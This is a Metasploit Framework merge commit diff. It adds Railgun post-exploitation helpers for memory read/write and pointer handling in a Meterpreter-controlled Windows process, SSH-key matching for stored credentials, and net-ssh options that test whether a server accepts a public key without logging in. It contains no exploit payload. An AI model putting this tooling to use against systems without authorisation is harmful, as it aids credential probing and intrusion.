Merge branch 'master' of r7.github.com:rapid7/metasploit-framework
commit
4b924bef1c
4
README
4
README
|
@ -48,12 +48,16 @@ This license does not apply to the following components:
|
|||
- The Ruby-Lorcon library located under external/ruby-lorcon
|
||||
- The SNMP library located under lib/snmp
|
||||
- The Zip library located under lib/zip
|
||||
- The SSHKey library located under lib/sshkey
|
||||
|
||||
The latest version of this software is available from http://metasploit.com/
|
||||
|
||||
Bug tracking and development information can be found at:
|
||||
https://dev.metasploit.com/redmine/projects/framework/
|
||||
|
||||
The public GitHub source repository can be found at:
|
||||
https://github.com/rapid7/metasploit-framework
|
||||
|
||||
Questions and suggestions can be sent to:
|
||||
msfdev[at]metasploit.com
|
||||
|
||||
|
|
|
@ -5,18 +5,47 @@ class Cred < ActiveRecord::Base
|
|||
include DBSave
|
||||
belongs_to :service
|
||||
|
||||
def ssh_key_matches?(other)
|
||||
return false unless other.kind_of? self.class
|
||||
KEY_ID_REGEX = /([0-9a-fA-F:]{47})/ # Could be more strict
|
||||
|
||||
# Returns its workspace
|
||||
def workspace
|
||||
self.service.host.workspace
|
||||
end
|
||||
|
||||
# Returns its key id. If this is not an ssh-type key, returns nil.
|
||||
def ssh_key_id
|
||||
return nil unless self.ptype =~ /^ssh_/
|
||||
return nil unless self.proof =~ KEY_ID_REGEX
|
||||
$1.downcase # Can't run into NilClass problems.
|
||||
end
|
||||
|
||||
# Returns all private keys with matching key ids, including itself
|
||||
# If this is not an ssh-type key, always returns an empty array.
|
||||
def ssh_private_keys
|
||||
return [] unless self.ssh_key_id
|
||||
matches = self.class.all(:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_key", "%#{self.ssh_key_id}%"])
|
||||
matches.select {|c| c.workspace == self.workspace}
|
||||
end
|
||||
|
||||
# Returns all public keys with matching key ids, including itself
|
||||
# If this is not an ssh-type key, always returns an empty array.
|
||||
def ssh_public_keys
|
||||
return [] unless self.ssh_key_id
|
||||
matches = self.class.all(:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_pubkey", "%#{self.ssh_key_id}%"])
|
||||
matches.select {|c| c.workspace == self.workspace}
|
||||
end
|
||||
|
||||
# Returns all keys with matching key ids, including itself
|
||||
# If this is not an ssh-type key, always returns an empty array.
|
||||
def ssh_keys
|
||||
(self.ssh_private_keys | self.ssh_public_keys)
|
||||
end
|
||||
|
||||
def ssh_key_matches?(other_cred)
|
||||
return false unless self.ptype == "ssh_key"
|
||||
return false unless self.ptype == other.ptype
|
||||
return false unless other.proof
|
||||
return false if other.proof.empty?
|
||||
return false unless self.proof
|
||||
return false if self.proof.empty?
|
||||
key_id_regex = /[0-9a-fA-F:]+/
|
||||
my_key_id = self.proof[key_id_regex].to_s.downcase
|
||||
other_key_id = other.proof[key_id_regex].to_s.downcase
|
||||
my_key_id == other_key_id
|
||||
return false unless other_cred.ptype == self.ptype
|
||||
matches = self.ssh_private_keys
|
||||
matches.include?(self) and matches.include?(other_cred)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,60 @@
|
|||
require 'rex/post/meterpreter/extensions/stdapi/railgun/railgun'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Windows
|
||||
module Railgun
|
||||
|
||||
# Go through each dll and add a corresponding convenience method of the same name
|
||||
Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun::BUILTIN_DLLS.each do |api|
|
||||
# We will be interpolating within an eval. We exercise due paranoia.
|
||||
unless api.to_s =~ /^\w+$/
|
||||
print_error 'Something is seriously wrong with Railgun.BUILTIN_DLLS list'
|
||||
next
|
||||
end
|
||||
|
||||
# don't override existing methods
|
||||
if method_defined? api.to_sym
|
||||
# We don't warn as the override may have been intentional
|
||||
next
|
||||
end
|
||||
|
||||
# evaling a String is faster than calling define_method
|
||||
eval "def #{api.to_s}; railgun.#{api.to_s}; end"
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array of windows constants names matching +winconst+
|
||||
#
|
||||
def select_const_names(winconst, filter_regex=nil)
|
||||
railgun.constant_manager.select_const_names(winconst, filter_regex)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of windows error code names for a given windows error code matching +err_code+
|
||||
#
|
||||
def lookup_error (err_code, filter_regex=nil)
|
||||
select_const_names(err_code, /^ERROR_/).select do |name|
|
||||
name =~ filter_regex
|
||||
end
|
||||
end
|
||||
|
||||
def memread(address, length)
|
||||
railgun.memread(address, length)
|
||||
end
|
||||
|
||||
def memwrite(address, length)
|
||||
railgun.memwrite(address, length)
|
||||
end
|
||||
|
||||
def railgun
|
||||
client.railgun
|
||||
end
|
||||
|
||||
def pointer_size
|
||||
railgun.util.pointer_size
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -190,7 +190,7 @@ class Core
|
|||
cmd_resource_help
|
||||
return false
|
||||
end
|
||||
|
||||
|
||||
args.each do |res|
|
||||
good_res = nil
|
||||
if (File.file? res and File.readable? res)
|
||||
|
@ -201,7 +201,7 @@ class Core
|
|||
::Msf::Config.script_directory + File::SEPARATOR + "resource",
|
||||
::Msf::Config.user_script_directory + File::SEPARATOR + "resource"
|
||||
].each do |dir|
|
||||
res_path = dir + File::SEPARATOR + res
|
||||
res_path = dir + File::SEPARATOR + res
|
||||
if (File.file?(res_path) and File.readable?(res_path))
|
||||
good_res = res_path
|
||||
break
|
||||
|
@ -216,7 +216,7 @@ class Core
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Tab completion for the resource command
|
||||
#
|
||||
|
@ -227,7 +227,7 @@ class Core
|
|||
# then you are probably specifying a full path so let's just use normal file completion
|
||||
return tab_complete_filenames(str,words)
|
||||
elsif (not words[1] or not words[1].match(/^\//))
|
||||
# then let's start tab completion in the scripts/resource directories
|
||||
# then let's start tab completion in the scripts/resource directories
|
||||
begin
|
||||
[
|
||||
::Msf::Config.script_directory + File::SEPARATOR + "resource",
|
||||
|
@ -2179,7 +2179,7 @@ class Core
|
|||
print_line "Set the previously loaded module as the current module"
|
||||
print_line
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Command to enqueque a module on the module stack
|
||||
#
|
||||
|
@ -2190,7 +2190,7 @@ class Core
|
|||
@module_name_stack.push(arg)
|
||||
# Note new modules are appended to the array and are only module (full)names
|
||||
end
|
||||
else #then just push the active module
|
||||
else #then just push the active module
|
||||
if active_module
|
||||
#print_status "Pushing the active module"
|
||||
@module_name_stack.push(active_module.fullname)
|
||||
|
@ -2200,7 +2200,11 @@ class Core
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def cmd_pushm_tabs(str, words)
|
||||
tab_complete_module(str, words)
|
||||
end
|
||||
|
||||
#
|
||||
# Help for the 'pushm' command
|
||||
#
|
||||
|
@ -2210,7 +2214,7 @@ class Core
|
|||
print_line "push current active module or specified modules onto the module stack"
|
||||
print_line
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Command to dequeque a module from the module stack
|
||||
#
|
||||
|
@ -2251,17 +2255,9 @@ class Core
|
|||
# Tab completion for the use command
|
||||
#
|
||||
def cmd_use_tabs(str, words)
|
||||
res = []
|
||||
return res if words.length > 1
|
||||
return [] if words.length > 1
|
||||
|
||||
framework.modules.module_types.each do |mtyp|
|
||||
mset = framework.modules.module_names(mtyp)
|
||||
mset.each do |mref|
|
||||
res << mtyp + '/' + mref
|
||||
end
|
||||
end
|
||||
|
||||
return res.sort
|
||||
tab_complete_module(str, words)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -2276,6 +2272,22 @@ class Core
|
|||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Tab complete module names
|
||||
#
|
||||
def tab_complete_module(str, words)
|
||||
res = []
|
||||
framework.modules.module_types.each do |mtyp|
|
||||
mset = framework.modules.module_names(mtyp)
|
||||
mset.each do |mref|
|
||||
res << mtyp + '/' + mref
|
||||
end
|
||||
end
|
||||
|
||||
return res.sort
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Provide tab completion for option values
|
||||
#
|
||||
|
|
|
@ -71,7 +71,7 @@ module Net
|
|||
:rekey_limit, :rekey_packet_limit, :timeout, :verbose,
|
||||
:global_known_hosts_file, :user_known_hosts_file, :host_key_alias,
|
||||
:host_name, :user, :properties, :passphrase, :msframework, :msfmodule,
|
||||
:record_auth_info
|
||||
:record_auth_info, :skip_private_keys, :accepted_key_callback, :disable_agent
|
||||
]
|
||||
|
||||
# The standard means of starting a new SSH connection. When used with a
|
||||
|
@ -196,7 +196,7 @@ module Net
|
|||
# Tell MSF not to auto-close this socket anymore...
|
||||
# This allows the transport socket to surive with the session.
|
||||
if options[:msfmodule]
|
||||
options[:msfmodule].remove_socket(transport.socket)
|
||||
options[:msfmodule].remove_socket(transport.socket)
|
||||
end
|
||||
|
||||
if block_given?
|
||||
|
@ -206,7 +206,7 @@ module Net
|
|||
return connection
|
||||
end
|
||||
else
|
||||
transport.close
|
||||
transport.close
|
||||
raise AuthenticationFailed, user
|
||||
end
|
||||
end
|
||||
|
|
|
@ -121,10 +121,16 @@ module Net
|
|||
end
|
||||
|
||||
key_data.each do |data|
|
||||
private_key = KeyFactory.load_data_private_key(data)
|
||||
key = private_key.send(:public_key)
|
||||
known_identities[key] = { :from => :key_data, :data => data, :key => private_key }
|
||||
yield key
|
||||
if @options[:skip_private_keys]
|
||||
key = KeyFactory.load_data_public_key(data)
|
||||
known_identities[key] = { :from => :key_data, :data => data }
|
||||
yield key
|
||||
else
|
||||
private_key = KeyFactory.load_data_private_key(data)
|
||||
key = private_key.send(:public_key)
|
||||
known_identities[key] = { :from => :key_data, :data => data, :key => private_key }
|
||||
yield key
|
||||
end
|
||||
end
|
||||
|
||||
self
|
||||
|
@ -165,6 +171,7 @@ module Net
|
|||
|
||||
# Identifies whether the ssh-agent will be used or not.
|
||||
def use_agent?
|
||||
return false if @options[:disable_agent]
|
||||
@use_agent
|
||||
end
|
||||
|
||||
|
|
|
@ -54,6 +54,23 @@ module Net
|
|||
|
||||
case message.type
|
||||
when USERAUTH_PK_OK
|
||||
debug { "publickey will be accepted (#{identity.fingerprint})" }
|
||||
|
||||
# The key is accepted by the server, trigger a callback if set
|
||||
if session.accepted_key_callback
|
||||
session.accepted_key_callback.call({ :user => username, :fingerprint => identity.fingerprint, :key => identity.dup })
|
||||
end
|
||||
|
||||
if session.skip_private_keys
|
||||
if session.options[:record_auth_info]
|
||||
session.auth_info[:method] = "publickey"
|
||||
session.auth_info[:user] = username
|
||||
session.auth_info[:pubkey_data] = identity.inspect
|
||||
session.auth_info[:pubkey_id] = identity.fingerprint
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
buffer = build_request(identity, username, next_service, true)
|
||||
sig_data = Net::SSH::Buffer.new
|
||||
sig_data.write_string(session_id)
|
||||
|
|
|
@ -33,6 +33,12 @@ module Net; module SSH; module Authentication
|
|||
|
||||
# when a successful auth is made, note the auth info if session.options[:record_auth_info]
|
||||
attr_accessor :auth_info
|
||||
|
||||
# when a public key is accepted (even if not used), trigger a callback
|
||||
attr_accessor :accepted_key_callback
|
||||
|
||||
# when we only want to test a key and not login
|
||||
attr_accessor :skip_private_keys
|
||||
|
||||
# Instantiates a new Authentication::Session object over the given
|
||||
# transport layer abstraction.
|
||||
|
@ -43,8 +49,10 @@ module Net; module SSH; module Authentication
|
|||
@auth_methods = options[:auth_methods] || %w(publickey hostbased password keyboard-interactive)
|
||||
@options = options
|
||||
|
||||
@allowed_auth_methods = @auth_methods
|
||||
@auth_info = {}
|
||||
@allowed_auth_methods = @auth_methods
|
||||
@skip_private_keys = options[:skip_private_keys] || false
|
||||
@accepted_key_callback = options[:accepted_key_callback]
|
||||
@auth_info = {}
|
||||
end
|
||||
|
||||
# Attempts to authenticate the given user, in preparation for the next
|
||||
|
|
|
@ -5,6 +5,8 @@ require 'test/unit'
|
|||
require 'rex'
|
||||
|
||||
require 'railgun/api_constants.rb.ut'
|
||||
require 'railgun/type/pointer_util.rb.ut'
|
||||
require 'railgun/platform_util.rb.ut'
|
||||
require 'railgun/buffer_item.rb.ut'
|
||||
require 'railgun/dll_function.rb.ut'
|
||||
require 'railgun/dll_helper.rb.ut'
|
||||
|
|
|
@ -0,0 +1,22 @@
|
|||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Stdapi
|
||||
module Railgun
|
||||
module PlatformUtil
|
||||
|
||||
X86_64 = :x86_64
|
||||
X86_32 = :x86_32
|
||||
|
||||
def self.parse_client_platform(meterp_client_platform)
|
||||
meterp_client_platform =~ /win64/ ? X86_64 : X86_32
|
||||
end
|
||||
|
||||
end # PlatformUtil
|
||||
end # Railgun
|
||||
end # Stdapi
|
||||
end # Extensions
|
||||
end # Meterpreter
|
||||
end # Post
|
||||
end # Rex
|
|
@ -0,0 +1,28 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..','..','..','..','..', '..', '..', 'lib'))
|
||||
|
||||
require 'rex/post/meterpreter/extensions/stdapi/railgun/platform_util'
|
||||
require 'rex/post/meterpreter/extensions/stdapi/railgun/mock_magic'
|
||||
require 'test/unit'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Stdapi
|
||||
module Railgun
|
||||
class PlatformUtil::UnitTest < Test::Unit::TestCase
|
||||
def test_parse_client_platform
|
||||
assert_equal(PlatformUtil.parse_client_platform('x86/win32'), PlatformUtil::X86_32,
|
||||
'parse_client_platform should translate Win32 client platforms')
|
||||
assert_equal(PlatformUtil.parse_client_platform('x86/win64'), PlatformUtil::X86_64,
|
||||
'parse_client_platform should translate Win64 client platforms')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -61,9 +61,9 @@ class Railgun
|
|||
# definition class 'rex/post/meterpreter/extensions/stdapi/railgun/def/'.
|
||||
# Naming is important and should follow convention. For example, if your
|
||||
# dll's name was "my_dll"
|
||||
# file name:: def_my_dll.rb
|
||||
# class name:: Def_my_dll
|
||||
# entry below:: 'my_dll'
|
||||
# file name: def_my_dll.rb
|
||||
# class name: Def_my_dll
|
||||
# entry below: 'my_dll'
|
||||
#
|
||||
BUILTIN_DLLS = [
|
||||
'kernel32',
|
||||
|
@ -104,6 +104,10 @@ class Railgun
|
|||
self.dlls = {}
|
||||
end
|
||||
|
||||
def self.builtin_dlls
|
||||
BUILTIN_DLLS
|
||||
end
|
||||
|
||||
#
|
||||
# Return this Railgun's Util instance.
|
||||
#
|
||||
|
@ -184,8 +188,8 @@ class Railgun
|
|||
|
||||
# For backwards compatibility, we ensure the dll is thawed
|
||||
if dll.frozen?
|
||||
# dup will copy values, but not the frozen status
|
||||
dll = dll.dup
|
||||
# Duplicate not only the dll, but its functions as well. Frozen status will be lost
|
||||
dll = Marshal.load(Marshal.dump(dll))
|
||||
|
||||
# Update local dlls with the modifiable duplicate
|
||||
dlls[dll_name] = dll
|
||||
|
@ -277,22 +281,6 @@ class Railgun
|
|||
def const(str)
|
||||
return constant_manager.parse(str)
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array of windows constants names matching +winconst+
|
||||
#
|
||||
|
||||
def const_reverse_lookup(winconst,filter_regex=nil)
|
||||
return constant_manager.rev_lookup(winconst,filter_regex)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of windows error code names for a given windows error code matching +err_code+
|
||||
#
|
||||
|
||||
def error_lookup (err_code,filter_regex=/^ERROR_/)
|
||||
return constant_manager.rev_lookup(err_code,filter_regex)
|
||||
end
|
||||
|
||||
#
|
||||
# The multi-call shorthand (["kernel32", "ExitProcess", [0]])
|
||||
|
|
|
@ -120,6 +120,14 @@ class Railgun::UnitTest < Test::Unit::TestCase
|
|||
|
||||
assert(!unfrozen_dll.frozen?,
|
||||
"add_function should create a local unfrozen instance that get_dll can then access")
|
||||
|
||||
railgun2 = Railgun.new(make_mock_client())
|
||||
|
||||
assert(!railgun2.get_dll(dll_name).functions.has_key?('__lolz'),
|
||||
"functions added to one instance of railgun should not be accessible to others")
|
||||
|
||||
assert_not_same(!railgun2.get_dll(dll_name).functions, unfrozen_dll.functions,
|
||||
"function hash should have been duplicated during unfreeze")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,105 @@
|
|||
require 'rex/post/meterpreter/extensions/stdapi/railgun/platform_util'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Stdapi
|
||||
module Railgun
|
||||
module Type
|
||||
module PointerUtil
|
||||
|
||||
ARCH_POINTER_SIZE = {
|
||||
PlatformUtil::X86_64 => 8,
|
||||
PlatformUtil::X86_32 => 4
|
||||
}.freeze
|
||||
|
||||
# Returns the pointer size for this architecture. Should accept client or platform or arch
|
||||
def self.pointer_size(platform)
|
||||
ARCH_POINTER_SIZE[platform]
|
||||
end
|
||||
|
||||
def self.pack_pointer(pointer, platform)
|
||||
if pointer.nil?
|
||||
return pack_pointer(0, platform)
|
||||
end
|
||||
|
||||
case platform
|
||||
when PlatformUtil::X86_64
|
||||
# XXX: Only works if attacker and victim are like-endianed
|
||||
[pointer].pack('Q')
|
||||
when PlatformUtil::X86_32
|
||||
[pointer].pack('V')
|
||||
else
|
||||
raise "platform symbol #{platform.to_s} not supported"
|
||||
end
|
||||
end
|
||||
|
||||
# Given a packed pointer, unpack it according to architecture
|
||||
def self.unpack_pointer(packed_pointer, platform)
|
||||
case platform
|
||||
when PlatformUtil::X86_64
|
||||
# XXX: Only works if attacker and victim are like-endianed
|
||||
packed_pointer.unpack('Q').first
|
||||
when PlatformUtil::X86_32
|
||||
packed_pointer.unpack('V').first
|
||||
else
|
||||
raise "platform symbol #{platform.to_s} not supported"
|
||||
end
|
||||
end
|
||||
|
||||
def self.null_pointer(pointer, platform)
|
||||
pack_pointer(0, platform)
|
||||
end
|
||||
|
||||
###
|
||||
# Summary: Returns true if pointer will be considered a 'null' pointer
|
||||
#
|
||||
# If given nil, returns true
|
||||
# If given 0, returns true
|
||||
# If given a string, if 0 after unpacking, returns true
|
||||
# false otherwise
|
||||
##
|
||||
def self.is_null_pointer?(pointer, platform)
|
||||
if pointer.kind_of?(String)
|
||||
pointer = unpack_pointer(pointer, platform)
|
||||
end
|
||||
|
||||
return pointer.nil? || pointer == 0
|
||||
end
|
||||
#
|
||||
# def self.is_unpacked_pointer?(pointer, platform)
|
||||
# # TODO also check that the integer size is appropriate for the platform
|
||||
# unless pointer.kind_of?(Fixnum) and pointer > 0 # and pointer <
|
||||
# return false
|
||||
# end
|
||||
#
|
||||
# packed_pointer = pack_pointer(pointer, platform)
|
||||
# if !packed_pointer.nil? and packed_pointer.length == pointer_size(platform)
|
||||
# return true
|
||||
# end
|
||||
#
|
||||
# return false
|
||||
# end
|
||||
#
|
||||
# Returns true if the data type is a pointer, false otherwise
|
||||
def self.is_pointer_type?(type)
|
||||
if type == :pointer
|
||||
return true
|
||||
end
|
||||
|
||||
if type.kind_of?(String) && type =~ /^L?P/
|
||||
return true
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
end # PointerUtil
|
||||
end # Type
|
||||
end # Railgun
|
||||
end # Stdapi
|
||||
end # Extensions
|
||||
end # Meterpreter
|
||||
end # Post
|
||||
end # Rex
|
|
@ -0,0 +1,127 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..','..','..','..','..', '..', '..', 'lib'))
|
||||
|
||||
require 'rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util'
|
||||
require 'rex/post/meterpreter/extensions/stdapi/railgun/platform_util'
|
||||
require 'rex/post/meterpreter/extensions/stdapi/railgun/mock_magic'
|
||||
require 'test/unit'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Stdapi
|
||||
module Railgun
|
||||
module Type
|
||||
class PlatformUtil::UnitTest < Test::Unit::TestCase
|
||||
|
||||
include Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::MockMagic
|
||||
|
||||
# memread value of win x86 pointer mapped to target unpack value
|
||||
X86_32_POINTERS = {
|
||||
"8D\x15\x00" => 1393720,
|
||||
"\x1C\x84\x15\x00" => 1410076,
|
||||
"\x0E\x84\x15\x00" => 1410062,
|
||||
"\x02\x84\x15\x00" => 1410050,
|
||||
"\xE6\x83\x15\x00" => 1410022,
|
||||
"\xC4\x83\x15\x00" => 1409988,
|
||||
"\x00\x00\x00\x00" => 0,
|
||||
}
|
||||
X86_64_POINTERS = {
|
||||
"\x10^ \x00\x00\x00\x00\x00" => 2121232,
|
||||
"\xCA\x9D \x00\x00\x00\x00\x00" => 2137546,
|
||||
"\xC8\x9D \x00\x00\x00\x00\x00" => 2137544,
|
||||
"Z\x9D \x00\x00\x00\x00\x00" => 2137434,
|
||||
"X\x9D \x00\x00\x00\x00\x00" => 2137432,
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" => 0,
|
||||
}
|
||||
|
||||
X86_64_NULL_POINTER = "\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
X86_32_NULL_POINTER = "\x00\x00\x00\x00"
|
||||
|
||||
X86_64 = PlatformUtil::X86_64
|
||||
X86_32 = PlatformUtil::X86_32
|
||||
|
||||
def test_pack_pointer
|
||||
X86_64_POINTERS.invert.each_pair do |unpacked, packed|
|
||||
assert_equal(packed, PointerUtil.pack_pointer(unpacked.to_i, X86_64),
|
||||
"pack_pointer should pack 64-bit numberic pointers")
|
||||
end
|
||||
|
||||
X86_32_POINTERS.invert.each_pair do |unpacked, packed|
|
||||
assert_equal(packed, PointerUtil.pack_pointer(unpacked.to_i, X86_32),
|
||||
"pack_pointer should pack 32-bit numberic pointers")
|
||||
end
|
||||
|
||||
assert_equal(X86_64_NULL_POINTER, PointerUtil.pack_pointer(nil, X86_64),
|
||||
'pack_pointer should pack "nil" as a null pointer for x86_64')
|
||||
|
||||
assert_equal(X86_32_NULL_POINTER, PointerUtil.pack_pointer(nil, X86_32),
|
||||
'pack_pointer should pack "nil" as a null pointer for x86_32')
|
||||
|
||||
assert_equal(X86_64_NULL_POINTER, PointerUtil.pack_pointer(0, X86_64),
|
||||
'pack_pointer should pack numeric 0 as a null pointer for x86_64')
|
||||
|
||||
assert_equal(X86_32_NULL_POINTER, PointerUtil.pack_pointer(0, X86_32),
|
||||
'pack_pointer should pack numeric 9 as a null pointer for x86_32')
|
||||
end
|
||||
|
||||
def test_unpack_pointer
|
||||
X86_64_POINTERS.each_pair do |packed, unpacked|
|
||||
assert_equal(unpacked, PointerUtil.unpack_pointer(packed, X86_64),
|
||||
"unpack_pointer should unpack 64-bit pointers")
|
||||
end
|
||||
|
||||
X86_32_POINTERS.each_pair do |packed, unpacked|
|
||||
assert_equal(unpacked, PointerUtil.unpack_pointer(packed, X86_32),
|
||||
"unpack_pointer should unpack 32-bit pointers")
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
def test_is_null_pointer
|
||||
[X86_32, X86_64].each do |platform|
|
||||
assert(PointerUtil.is_null_pointer?(nil, platform), 'nil should be a null pointer')
|
||||
assert(PointerUtil.is_null_pointer?(0, platform), 'numeric 0 should be a null pointer')
|
||||
end
|
||||
|
||||
assert_equal(true, PointerUtil.is_null_pointer?(X86_32_NULL_POINTER, X86_32),
|
||||
'is_null_pointer? should return true for packed 32-bit null pointers')
|
||||
|
||||
assert_equal(true, PointerUtil.is_null_pointer?(X86_64_NULL_POINTER, X86_64),
|
||||
'is_null_pointer? should return true for packed 64-bit null pointers')
|
||||
|
||||
end
|
||||
|
||||
def test_pointer_size
|
||||
assert_equal(8, PointerUtil.pointer_size(X86_64),
|
||||
'pointer_size should report X86_64 arch as 8 (bytes)')
|
||||
|
||||
assert_equal(4, PointerUtil.pointer_size(X86_32),
|
||||
'pointer_size should report X86_32 arch as 4 (bytes)')
|
||||
end
|
||||
|
||||
def test_is_pointer_type
|
||||
assert_equal(true, PointerUtil.is_pointer_type?(:pointer),
|
||||
'pointer_type should return true for the symbol :pointer')
|
||||
|
||||
assert_equal(true, PointerUtil.is_pointer_type?('LPVOID'),
|
||||
'pointer_type should return true if string begins with LP')
|
||||
|
||||
assert_equal(true, PointerUtil.is_pointer_type?('PDWORD'),
|
||||
'pointer_type should return true if string begins with P')
|
||||
|
||||
assert_equal(false, PointerUtil.is_pointer_type?('LOLZ'),
|
||||
'pointer_type should return false if not a pointer type')
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -33,6 +33,7 @@ module Railgun
|
|||
# Manages our library of windows constants
|
||||
#
|
||||
class WinConstManager
|
||||
attr_reader :consts
|
||||
|
||||
def initialize(initial_consts = {})
|
||||
@consts = {}
|
||||
|
@ -40,12 +41,10 @@ class WinConstManager
|
|||
initial_consts.each_pair do |name, value|
|
||||
add_const(name, value)
|
||||
end
|
||||
|
||||
# Load utility
|
||||
end
|
||||
|
||||
def add_const(name, value)
|
||||
@consts[name] = value
|
||||
consts[name] = value
|
||||
end
|
||||
|
||||
# parses a string constaining constants and returns an integer
|
||||
|
@ -59,41 +58,38 @@ class WinConstManager
|
|||
return_value = 0
|
||||
for one_const in s.split('|')
|
||||
one_const = one_const.strip()
|
||||
if not @consts.has_key? one_const
|
||||
if not consts.has_key? one_const
|
||||
return nil # at least one "Constant" is unknown to us
|
||||
end
|
||||
return_value |= @consts[one_const]
|
||||
return_value |= consts[one_const]
|
||||
end
|
||||
return return_value
|
||||
end
|
||||
|
||||
def is_parseable(s)
|
||||
return parse(s) != nil
|
||||
end
|
||||
|
||||
# looks up a windows constant (integer or hex) and returns an array of matching winconstant names
|
||||
#
|
||||
# this function will NOT throw an exception but return "nil" if it can't find an error code
|
||||
def rev_lookup(winconst, filter_regex=nil)
|
||||
c = winconst.to_i # this is what we're gonna reverse lookup
|
||||
arr = [] # results array
|
||||
@consts.each_pair do |k,v|
|
||||
arr << k if v == c
|
||||
end
|
||||
if filter_regex # this is how we're going to filter the results
|
||||
# in case we get passed a string instead of a Regexp
|
||||
filter_regex = Regexp.new(filter_regex) unless filter_regex.class == Regexp
|
||||
# do the actual filtering
|
||||
arr.select! do |item|
|
||||
item if item =~ filter_regex
|
||||
end
|
||||
end
|
||||
return arr
|
||||
return !parse(s).nil?
|
||||
end
|
||||
|
||||
def is_parseable(s)
|
||||
return parse(s) != nil
|
||||
end
|
||||
#
|
||||
# Returns an array of constant names that have a value matching "winconst"
|
||||
# and (optionally) a name that matches "filter_regex"
|
||||
#
|
||||
def select_const_names(winconst, filter_regex=nil)
|
||||
matches = []
|
||||
|
||||
consts.each_pair do |name, value|
|
||||
matches << name if value == winconst
|
||||
end
|
||||
|
||||
# Filter matches by name if a filter has been provided
|
||||
unless filter_regex.nil?
|
||||
matches.reject! do |name|
|
||||
name !~ filter_regex
|
||||
end
|
||||
end
|
||||
|
||||
return matches
|
||||
end
|
||||
end
|
||||
|
||||
end; end; end; end; end; end
|
||||
|
|
|
@ -12,6 +12,26 @@ module Extensions
|
|||
module Stdapi
|
||||
module Railgun
|
||||
class WinConstManager::UnitTest < Test::Unit::TestCase
|
||||
|
||||
def test_select_const_names
|
||||
const_manager = WinConstManager.new
|
||||
|
||||
names = %w(W WW WWW)
|
||||
|
||||
names.each do |name|
|
||||
const_manager.add_const(name, 23)
|
||||
end
|
||||
|
||||
assert(const_manager.select_const_names(23).sort == names,
|
||||
'select_const_names should return all names for given value')
|
||||
|
||||
const_manager.add_const('Skidoo!', 23)
|
||||
|
||||
assert(const_manager.select_const_names(23, /^\w{1,3}$/).sort == names,
|
||||
'select_const_names should filter names with provided regex')
|
||||
|
||||
end
|
||||
|
||||
def test_is_parseable
|
||||
const_manager = WinConstManager.new
|
||||
|
||||
|
|
|
@ -99,16 +99,22 @@ class Client
|
|||
#
|
||||
def set_config(opts = {})
|
||||
opts.each_pair do |var,val|
|
||||
# Default type is string
|
||||
typ = self.config_types[var] || 'string'
|
||||
|
||||
# These are enum types
|
||||
if(typ.class.to_s == 'Array')
|
||||
if not typ.include?(val)
|
||||
raise RuntimeError, "The specified value for #{var} is not one of the valid choices"
|
||||
end
|
||||
end
|
||||
|
||||
# The caller should have converted these to proper ruby types, but
|
||||
# take care of the case where they didn't before setting the
|
||||
# config.
|
||||
|
||||
if(typ == 'bool')
|
||||
val = (val =~ /^(t|y|1)$/i ? true : false)
|
||||
val = (val =~ /^(t|y|1)$/i ? true : false || val === true)
|
||||
end
|
||||
|
||||
if(typ == 'integer')
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
class SSHKey
|
||||
end
|
||||
|
||||
require 'sshkey/lib/sshkey'
|
|
@ -0,0 +1,20 @@
|
|||
Copyright (c) 2011 James Miller
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining
|
||||
a copy of this software and associated documentation files (the
|
||||
"Software"), to deal in the Software without restriction, including
|
||||
without limitation the rights to use, copy, modify, merge, publish,
|
||||
distribute, sublicense, and/or sell copies of the Software, and to
|
||||
permit persons to whom the Software is furnished to do so, subject to
|
||||
the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be
|
||||
included in all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
||||
